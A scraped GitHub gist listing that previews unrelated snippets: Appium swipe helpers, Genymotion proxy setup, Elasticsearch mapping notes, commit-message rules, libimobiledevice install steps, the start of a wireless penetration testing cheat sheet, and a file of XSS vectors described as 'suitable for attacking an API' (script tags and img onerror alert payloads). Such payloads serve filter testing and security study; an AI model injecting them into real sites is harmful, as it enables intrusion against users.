Skip to content

Instantly share code, notes, and snippets.

View Ebrahim-Mostafa's full-sized avatar

Ebahim Mostafa Ebrahim-Mostafa

View GitHub Profile
#!/bin/bash
if [[ $EUID -ne 0 ]]; then
echo "You must be root"
exit 1
fi
service="Wi-Fi"
while true; do
@Ebrahim-Mostafa
Ebrahim-Mostafa / swipe.rb
Created June 2, 2020 22:04 — forked from Alona-T/swipe.rb
Swipe methods that can be used regardless mobile device model and screen size. Using element's coordinates in the method helps to archive it
#swipe to top
def swipe_to_top(element, duration)
elem = element
x = elem.location.x
y = elem.location.y
Appium::TouchAction.swipe(start_x: x, start_y: y, duration: duration)
end
#when you need to just horizontally swipe carousel of elements or similar (when 2 elements are present)
def swipe_horizontally(element_s, element_e, duration)
@rcgonzalezf
rcgonzalezf / Genymotion with Charles Proxy.md
Created September 14, 2019 06:45
Genymotion with Charles Proxy

Charles Proxy in your Genymotion Android emulator

  1. Settings -> Wifi -> Press and hold your active network
  2. Select “Modify Network”Select “Show Advanced Options”
  3. Select “Proxy Settings -> Manual”
  4. Set your Proxy to: 10.0.3.2 (Genymotion’s special code for the local workstation)
  5. Set your Port to: 8888
  6. Press Save
@jinnabaalu
jinnabaalu / Jenkins-Supported-Time-Zones.md
Last active June 6, 2023 13:40
Jenkins supported time zones depend on the Java runtime

The Efficient Mappings in Elasticsearch Index

Implicit/Dynamic Mappings vs Explicit Mappings

Implicit/Dynamic Mapping: Indexing the document without defining the mappings, new fields will be added to the top level and nested. Helps to index data faster, the optimized way of indexing will help indexing perform better with the following.

  • Enable date_detection and set the dynamic_date_formats
  • Numeric Detection, "numeric_detection": true
  • Customer Analyzers need to be tested before going production using Analyzer API, standard analyzers are supported out of the box for natural languages.
  • Coerce, indexing fails if the dirty values are getting indexed. Example if you are trying to save a number with "10" it will be either saved as floating point or a string but not integer, to make it strict we use coerce at index level of field level
@medhatdawoud
medhatdawoud / rules-to-write-better-commit-messages.md
Last active July 20, 2024 08:22
This gist is the summary of a video on YouTube [in Arabic] you can watch from here: https://youtu.be/BTlL-LBDCSI

Rules to write a better commit message

These are my preferences for a good commit message, feel free to fork this gist and add your own standards, or add comment here to share yours with the community.

1. Include only the files related to the feature you are implementing:

  • Don't add any file that is not related to the main issue, you can make it in a separate commit.
  • Separating files that not related is important in the revert cases.
  • Revise the whole changes always before committing and make sure to mention each change you made in the message.

2. Commit subject should be concise and reflect the essence of the commit:

  • Imagine the commit as an Email to the owner or your team mates.
  • Subject in the first and main sentence of the commit, it should be concise and to the point.
  • It shouldn't exceed 50 char.
@trungpv1601
trungpv1601 / README.MD
Created February 4, 2018 02:24
Using Genymotion With Charles Proxy

In your Genymotion Android emulator…

  • Settings -> Wifi -> Press and hold your active network
  • Select “Modify Network”
  • Select “Show Advanced Options”
  • Select “Proxy Settings -> Manual”
  • Set your Proxy to: 10.0.3.2 (Genymotion’s special code for the local workstation)
  • Set your Port to: 8888
  • Press Save

You should now be able to see Genymotion traffic showing up in your Charles Proxy

@soheilbm
soheilbm / gist:32d67c3aaad30cf57300d0ad4fd4775c
Last active April 20, 2024 01:52
Install libimobiledevice on OSX
Install libimobiledevice on Mac OS X
So you'd like to manage your iOS devices by command line?
You can use libimobiledevice tools for that.
Easy on Linux. Let's see how it is on Mac OS X.
You'll need to:
1. install Xcode
2. start Xcode and agree to it's license
3. install Xcode command line tools (Start Xcode, Go to Preferences -> Downloads tab)
4. install homebrew by this command (sudo password will be prompted)
@dogrocker
dogrocker / Wireless Penetration Testing Cheat Sheet.md
Created July 2, 2016 18:30
Wireless Penetration Testing Cheat Sheet

#Wireless Penetration Testing Cheat Sheet

##WIRELESS ANTENNA

  • Open the Monitor Mode
root@uceka:~# ifconfig wlan0mon down
root@uceka:~# iwconfig wlan0mon mode monitor
root@uceka:~# ifconfig wlan0mon up
@JohannesHoppe
JohannesHoppe / 666_lines_of_XSS_vectors.html
Created May 20, 2013 13:38
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@tundal45
tundal45 / command
Created July 16, 2012 19:03
Get just the ascii middle finger in command line from http://ascii-middle-finger.com/
curl -s http://ascii-middle-finger.com/ | grep -A 10 '<pre>' | grep -v 'pre'